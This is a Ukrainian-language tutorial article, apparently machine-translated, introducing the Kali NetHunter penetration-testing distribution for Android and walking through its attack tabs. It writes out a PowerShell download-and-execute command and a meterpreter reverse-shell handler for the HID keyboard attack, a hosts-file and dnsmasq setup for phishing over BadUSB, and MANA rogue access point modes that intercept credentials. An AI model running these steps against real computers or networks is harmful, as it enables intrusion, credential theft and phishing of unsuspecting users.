Атака зі смартфона: знайомимося з Kali NetHunter

  1. Зміст статті ARM-збірки BackTrack 5 і Kali Linux можна було запустити в середовищі Android з самого...
  2. WARNING
  3. Ставимо і їдемо
  4. Сумісні з NetHunter мережеві адаптери
  5. Що всередині?
  6. Що саме робить скрипт bootkali?
  7. NetHunter Home
  8. HID Keyboard Attack
  9. BadUSB MITM Attack
  10. MANA Evil Access Point
  11. Консоль, текстове меню і VNC
  12. висновки

Зміст статті

ARM-збірки BackTrack 5 і Kali Linux можна було запустити в середовищі Android з самого моменту їх появи. Деякі інструменти в них не працювали, інші працювали занадто повільно, але в цілому дистрибутив ворушився, і можна було носити у себе в кишені кілька сотень утиліт пентестінга, а при необхідності і отримати доступ до робочого столу з компа засобами VNC. Однак BinkyBear з ком'юніті Kali вирішив, що цього мало, і на світ з'явився Kali NetHunter - варіант дистрибутива, оптимізований для Android-смартфонів.

Той самий Kali Linux

За своєю суттю NetHunter - це майже не змінений Kali Linux, що встановлюється «поверх» Android і працює всередині chroot-оточення. Він включає в себе все той же набір з безлічі добре відомих нам інструментів пентестінга, а також графічне середовище XFCE, достукатися до якої можна як з самого смартфона, так і з ноута / компа / планшета за допомогою будь-якого VNC-клієнта.

Відмінність NetHunter від «просто установки Kali Linux в chroot» в декілька нюансів. По-перше, тут є графічне додаток для управління деякими можливостями дистрибутива, на кшталт запуску тих чи інших сервісів або включення точки доступу MANA. По-друге, він включає в себе невеликий набір Android-софта, який буде корисний при виконанні атак або роботі з дистрибутивом: Hacker's Keyboard, Android VNC, DriveDroid і інші.

WARNING

При установці другої системою через MultiROM установник NetHunter не зможе прошити кастомними ядро, в результаті чого функції ін'єкції фреймів, BadUSB і емуляції клавіатури виявляться недоступними. Незважаючи на те що для Nexus 7 зразка 2012 року існує драйвер, здатний перевести внутрішній мережевий адаптер в режим моніторингу, він не підтримується Kali NetHunter.

По-третє, для кожного підтримуваного пристрою в NetHunter є власне кастомними ядро, зібране з підтримкою завантаження емуляції USB-клавіатури або мережевого адаптера і механізмів впровадження фреймів в мережевий потік (Wireless 802.11 frame injection). Ці функції використовуються для проведення атак типу BadUSB, Teensy, а також для впровадження в передані через мережу файли різного роду бекдор (з використанням точки доступу MANA і інструменту Backdoor Factory ).

В іншому ж все досить стандартно, і той, хто знайомий з Kali (я не говорю про користувачів графічної оболонки), знайде тут знайоме оточення і набір інструментів: Aircrack, Maltego, Metasploit, SAINT, Kismet, Bluebugger, BTCrack, Btscanner, Nmap, p0f і багато, багато інших.

Ставимо і їдемо

На момент написання цих рядків останньої публічної версією NetHunter була 1.1.0, а офіційна підтримка існувала всього для шести (або восьми, як подивитися) моделей пристроїв:

Друга вимога - це версія Android 4.4.4; без додавання «як мінімум», та ще й з отриманим root, кастомной консоллю відновлення (TWRP або CWM, без різниці) і не менше 4,5 Гб вільного простору. А щоб отримати можливість сніфінга трафіку і ін'єкції фреймів, потрібна ще й зовнішня USB-шная Wi-Fi-мережевої, причому не якась попало, а тієї моделі, підтримка якої реалізована в ядрі (див. Врізку), а також OTG-кабель для підключення .

Сумісні з NetHunter мережеві адаптери

  • TP-Link TL-WN321G
  • TP-Link TL-WN722N
  • TP-Link TL-WN821N
  • TP-Link TL-WN822N
  • Alfa AWUS036H
  • Alfa AWUS036NH
  • Ubiquiti Networks SR71-USB
  • SMC SMCWUSB-N2
  • Netgear WNA1000

Коли всі ці вимоги будуть виконані - ти готовий. Тепер йди на сторінку завантаження , Шукай свій девайс і завантажуй ZIP-файл (там є також Windows-інсталятор, але його я описувати не буду з релігійних міркувань). Тепер скидай ZIP на карту пам'яті, перезавантажувати смартфон в режим recovery і прошивається прямо поверх поточної прошивки без всяких вайп (як це робиться, ми розповідали вже багато разів). Процес триватиме довго, так як 2,4-гігабайтний chroot-оточення Kali Linux запаковано за допомогою вельми жадібного до процесора і пам'яті архиватора bzip2. Після завершення операції можна перезавантажитися. Коли всі ці вимоги будуть виконані - ти готовий Встановлюємо Kali NetHunter

Що всередині?

Отже, знову завантажився Android, і тепер у нас є:

  • NetHunter Home - додаток-обв'язка для запуску найнеобхідніших функцій Kali NetHunter.
  • Дистрибутив Kali Linux в каталозі / data / local / kali-armhf / (всі операції запускаються в ньому).
  • BusyBox і консольний редактор Nano.
  • Android VNC - простий VNC-клієнт для доступу до робочого столу Kali Linux.
  • BlueNMEA - додаток для відсилання поточних координат на інший пристрій через Bluetooth або TCP (потрібен для роботи Kismet).
  • DriveDroid - додаток, що дозволяє використовувати смартфон в якості Live USB.
  • Hacker's Keyboard - всім відома повнорозмірна Android-клавіатура.
  • RF Analyzer - додаток для роботи з HackRF / RTL-SDR.
  • USB Keyboard - емулятор USB-клавіатури.
  • Набір конфігураційних файлів і шпалер на карті пам'яті (в каталогах files і kali-nh).

Центральне місце тут займають, звичайно ж, NetHunter Home і сам дистрибутив, причому перший - це просто обв'язка для запуску тих чи інших дій всередині дистрибутива через скрипт / system / bin / bootkali. NetHunter Home запускає його з тим чи іншим аргументом (наприклад, start apache), а той, у свою чергу, робить chroot в / data / local / kali-armhf / і виконує ряд команд в залежності від переданого аргументу.

Що саме робить скрипт bootkali?

  1. Відключає SELinux (точніше, переводить в режим permissive).
  2. Перевіряє наявність root c допомогою запуску команди id.
  3. Ініціалізує необхідні змінні оточення (PATH, TERM, HOME і інші).
  4. Прописує в /data/local/kali-armhf/etc/resolv.conf адреси DNS-серверів, взяті з системних змінних Android (net.dns1, net.dns2 і так далі).
  5. Монтує в / data / local / kali-armhf / необхідні для роботи Linux файлові системи (dev, proc, sysfs, devpts).
  6. Включає форвардного пакетів для роботи точки доступу і BadUSB (sysctl -w net.ipv4.ip_forward = 1).
  7. Якщо скрипт запущений без аргументів, він виконує chroot в каталог / data / local / kali-armhf / і запускає bash.
  8. Якщо вказано аргумент, виконує chroot і запускає або відповідний сервіс (Apache, наприклад), або процес оновлення (аргумент update), або фірмове консольне меню NetHunter (kalimenu).

Якщо вказано аргумент, виконує chroot і запускає або відповідний сервіс (Apache, наприклад), або процес оновлення (аргумент update), або фірмове консольне меню NetHunter (kalimenu)

Частина скрипта bootkali

NetHunter Home

Отже, NetHunter Home - головний «пульт управління» Kali NetHunter. Він розділений на вісім незалежних вкладок. Перша - це просто екран вітання, на якому відображається інфа про NetHunter, а також IP-шники мережевих інтерфейсів і зовнішній IP роутера, якщо девайс підключений до Wi-Fi. На другій вкладці тут так званий Kali Launcher, який дозволяє відкрити консоль Kali в chroot (просто виконує команду bootkali), запустити текстове меню (bootkali kalimenu), про який ми поговоримо пізніше, оновити Kali chroot (bootkali update) або запустити інструмент wifite для злому мереж Wi-Fi (WEP, WPS, перехоплення WPA handshake); він вимагає зовнішній Wi-Fi-адаптер. На третій вкладці панель управління мережевими сервісами: SSH, Dnsmasq, Hostapd (точка доступу), OpenVPN, Apache, сервер Metasploit і веб-інтерфейс BeEF Framework .

На третій вкладці панель управління мережевими сервісами: SSH, Dnsmasq, Hostapd (точка доступу), OpenVPN, Apache, сервер Metasploit і веб-інтерфейс   BeEF Framework

Головний екран NetHunter Home Головний екран NetHunter Home   Панель управління сервісами Панель управління сервісами

HID Keyboard Attack

Четверта вкладка дозволяє запустити атаку HID Keyboard Attack. Її суть дуже проста: підключений до комп'ютера через OTG-кабель смартфон / планшет прикидається USB-клавіатурою і «натискає» будь-які кнопки, які ми захочемо. За замовчуванням NetHunter пропонує нам два варіанти її використання. Перший - наша віртуальна клавіатура тупо відкриває командний рядок і вбиває зазначені нами команди. Для цього переходимо на другий екран (Windows CMD), вбиваємо в поле введення будь-які команди і натискаємо кнопку Update. Підключаємо девайс до комп'ютера, відкриваємо меню і натискаємо Execute Attack. Спостерігаємо за тим, що відбувається в винде.

Другий спосіб більш витончений складний в налаштуванні. Він носить ім'я PowerSploit Attack і дозволяє швидко отримати мережевий доступ до командного рядка Windows з телефону (вся операція займає кілька секунд). Працює це так: смартфон підключається до комп'ютера, відкриває командний рядок і запускає в ній PowerShell з наступною командою (під час самої атаки вона буде закодована в Base64):

iex (New-Object Net.WebClient) .DownloadString ( "http://192.168.1.1/payload")

Ця команда запускає скрипт, розміщений за адресою http://192.168.1.1/payload . IP - це наш смартфон із запущеним Apache, а payload - PowerShell-експлойт, вся робота якого полягає в тому, щоб завантажити з сервера Metasploit (він теж запущений на нашому смартфоні) наш шелл-код, який реалізує зворотний HTTPS-шелл, і впровадити його в поточний процес PowerShell:

Invoke-Shellcode -Payload windows / meterpreter / reverse_https -Lhost 192.168.1.1 -Lport 4444 -Force

Як результат ми отримаємо доступ до командного інтерпретатора Windows по HTTPS. Реалізувати таку атаку за допомогою одного лише тикання по кнопках інтерфейсу не вдасться, тому доведеться повозитися з командним рядком Kali. Для початку переходимо на вкладку HID Keyboard Attack, в поле IP Address вписуємо свій айпішник (нагадаю, він є на головній сторінці NetHunter Home), в поле Port залишаємо 4444, Payload залишаємо як є, в поле URL to payload міняємо IP на свій. Натискаємо Update.

Тепер йдемо в Kali Service Control і включаємо Apache. Далі нам необхідно запустити сервер Metasploit. Йдемо в Kali Launcher і запускаємо Shell. У ньому відкриваємо консоль Metasploit:

# Msfconsole -q

І налаштовуємо хендлер для віддачі нашого шелл-коду:

use exploit / multi / handler set PAYLOAD windows / meterpreter / reverse_https set LHOST 192.168.1.1 set LPORT 4444 exploit

Природно, замість 192.168.1.1 використовуємо IP смартфона. На цьому конфігурація завершена, і ми готові до атаки. Звертаємо (не закриваємо!) Вікно терміналу з Kali, повертаємося в NetHunter Home, підключаємо смартфон OTG-кабелем до комп'ютера, чекаємо пару секунд і натискаємо Execute Attack на вкладці HID Keyboard Attack. Повертаємося в термінал Kali і спостерігаємо. Якщо все пройшло гладко, в термінал випаде рядок [*] Meterpreter session 1 opened. Після цього можна відключитися від компа і отримати мережевий доступ до його командному рядку за допомогою команди shell. Це все.

Це все

Вкладка HID Keyboard Attack

BadUSB MITM Attack

Це п'ята вкладка Kali NetHunter. Тут знаходиться інтерфейс включення місцевої реалізації гучної атаки BadUSB. Принцип цієї атаки досить простий і зводиться до того, що після підключення до комп'ютера USB-девайс (в даному випадку смартфон) переконфигурирует власний USB-контролер з метою прикинутися іншим пристроєм і виконувати невластиві йому функції. В описаному вище типі атаки смартфон прикидався клавіатурою, в реалізації атаки BadUSB, продемонстрованої на Black Hat 2014 року, він стає зовнішньої мережевою картою.

Точно так само працює і аналогічна функція NetHunter. Ти просто підключаєш смартфон до комп'ютера, запускаєш NetHunter Home, потім включаєш BadUSB, і комп автоматично починає використовувати твій девайс для виходу в інтернет, незалежно від того, працює він на базі Windows або Linux (але тільки в тому випадку, якщо дистрибутив використовує один з автоматичних конфігуратор мережевої карти, наприклад NetworkManager). Ключова ідея цієї атаки в тому, що трафік можна посніфать за допомогою Wireshark або стандартного tcpdump, запустивши його з консолі Kali і вказавши в якості мережевого інтерфейсу rndis0:

# Tcpdump -i rndis0

Або навіть виконати фішинг-атаку, створивши на карті пам'яті файл hosts з IP-адресами підроблених серверів:

123.123.123.123 facebook.com 234.234.234.234 sberbank.ru

І перезапустити dnsmasq з консолі Kali, підсунувши наш файл hosts:

# Killall dnsmasq # dnsmasq -H / sdcard / hosts -i rndis0 -R -S 8.8.8.8 \ -F 192.168.100.100,192.168.100.200 -x /var/run/dnsmasq.pid

MANA Evil Access Point

Шоста вкладка, і тут у нас інтерфейс запуску програмної точки доступу MANA , Розробленої в компанії SensePost . Це модифікований hostapd і набір скриптів, які дозволяють перехоплювати (і Брутфорс) хеші паролів від точки доступу з аутентифікацією IEEE 802.1X (сервер RADIUS, корпоративщина), виконувати HTTPS Stripping (автоматична підміна HTTPS-посилань на HTTP) і SSL Split (перехоплення і логирование SSL / TLS-з'єднань). Незважаючи на велику кількість екранів з файлами настройки у вкладці, все це господарство цілком собі працює з коробки і сипле логи в / var / lib / mana-toolkit / всередині Kali chroot. А звідти їх можна скопіювати на SD-карту:

# Cp -R / var / lib / mana-toolkit / / sdcard /

У NetHunter доступні п'ять стандартних конфігурацій MANA, вибір між якими можна зробити під час запуску точки доступу:

  • mana-nat-full - NAT до зовнішнього світу (через стільникову мережу), плюс перехоплення кукисов, плюс HTTPS Stripping і SSL Split;
  • mana-nat-simple - просто NAT, можна юзати для сніфінга трафіку;
  • mana-nat-simple-bdf - NAT плюс редирект HTTP-трафіку на порт 8080, на якому можна запустити BDFProxy для впровадження коду (бекдора) в отримані елементи (ця тема виходить за рамки даної статті);
  • mana-noupstream - точка доступу без виходу в інтернет з перенаправленням трафіку в Metasploit з Переднастроєні фіктивними SMB, SMTP, HTTP і іншими сервісами (перехоплення логінів і паролів);
  • mana-noupstream-eap - те ж саме, але з перехопленням і брутфорсінга EAP-хешів.

У кожній із цих конфігурацій точка доступу може бути використана для атаки типу KARMA (поле Enable Karma на першому екрані MANA Evil Access Point). В цьому випадку вона буде змінювати свій SSID на той, що намагається знайти сам клієнт (клієнт виконує Probe Request, що містить імена «збережених / довірених мереж», його перехоплює MANA і оперативно змінює своє ім'я, індивідуально для кожного клієнта). При відключенні даної функції точка доступу буде мати ім'я, вказане в полі SSID.

Консоль, текстове меню і VNC

Як я вже сказав, для роботи з NetHunter зовсім не обов'язково використовувати графічне Android-додаток. До наших послуг є скрипт bootkali, а також набір скриптів в / system / xbin /, за допомогою яких можна запускати сервіси та атаки. Наприклад, ту ж точку доступу MANA можна запустити, відкривши термінал Android і запустивши скрипт start-mana-full:

$ Su # start-mana-full

Також доступні start-apache, start-badusb, start-ssh і інші, всі їх можна побачити, виконавши в терміналі таку команду:

$ Ls / system / xbin / start- *

У більшості скриптів є і компаньйон у вигляді скрипта stop- *, ​​наприклад stop-apache. Також ми можемо виконати chroot в оточенні Kali для запуску екзотичних видів атак і інструментів. Для цього просто набираємо bootkali в терміналі, а далі запускаємо будь-які необхідні інструменти, наприклад kismet:

$ Bootkali # kismet

Щоб не мучитися з пошуком необхідних інструментів і не згадувати правильні команди їх запуску і аргументи, можна використовувати команду kalimenu всередині Kali chroot. Вона виведе на екран розбите на розділи меню, через яке можна запустити потрібний інструмент, виконати деякі настройки і запустити VNC-сервер для доступу до графічного інтерфейсу Kali з компа або через Android VNC. Всього тут одинадцять пунктів, за допомогою яких можна запустити знайомі нам airdump-ng, wifite (розділ Wireless Attack), tcpdump, tshark (Sniffing / Spoofing), AutoSSH, pTunnel (Revers Shells), Metasploit, Beef-XSS (Exploit Tools) і багато інших.

Всього тут одинадцять пунктів, за допомогою яких можна запустити знайомі нам airdump-ng, wifite (розділ Wireless Attack), tcpdump, tshark (Sniffing / Spoofing), AutoSSH, pTunnel (Revers Shells), Metasploit, Beef-XSS (Exploit Tools) і багато інших

Текстове меню Kali

Особливо відзначу меню USB Attacks, що містить забавний інструмент deADBolt . Це свого роду зломщик Android-девайсів, що дозволяє підключити інший смартфон за допомогою OTG-кабелю і зняти з нього блокування, потягти дані додатків, налаштування акаунтів, фотографії або весь вміст SD-карти цілком. Недолік інструменту тільки в тому, що для роботи він використовує протокол ADB, а це значить, що на смартфоні жертви атаки повинен бути активований режим розробника, включена «Налагодження по USB», дано згоду на налагодження з нашого смартфона (з'являється при підключенні і тільки після розблокування екрану). Для виконання всіх операцій, крім отримання вмісту карти пам'яті і фото, смартфон жертви повинен мати root.

Загалом, іграшка і не більше того.

Ну і наостанок - як включити доступ по VNC. Запускаємо kalimenu, набираємо 13 (це пункт Services), далі 3 (Start VNC Server), скрипт попросить два рази вбити пароль для доступу і вибрати, куди йому вішатися - тільки на localhost (для доступу з пристрою) або на зовнішній інтерфейс (для доступу з компа або інших девайсів). Далі беремо будь VNC-клієнт і підключаємося до смартфону (IP, як я вже говорив, є на першій вкладці NetHunter Home). На екрані з'явиться оточення робочого столу XFCE.

Wireshark, запущений на смартфоні

висновки

NetHunter - цікавий, але поки ще сильно недопрацьований проект. Організація дистрибутива дуже нелогічна, графічне Android-додаток дозволяє запустити обмежений набір інструментів, частина з яких доводиться комбінувати з консольними командами. Документація убога і поверхнева, підтримка пристроїв мінімальна. Однак проект більш ніж перспективний, і, судячи з анонсів розробників, це тільки початок довгого шляху.

Що саме робить скрипт bootkali?
Що саме робить скрипт bootkali?

Дополнительная информация

rss
Карта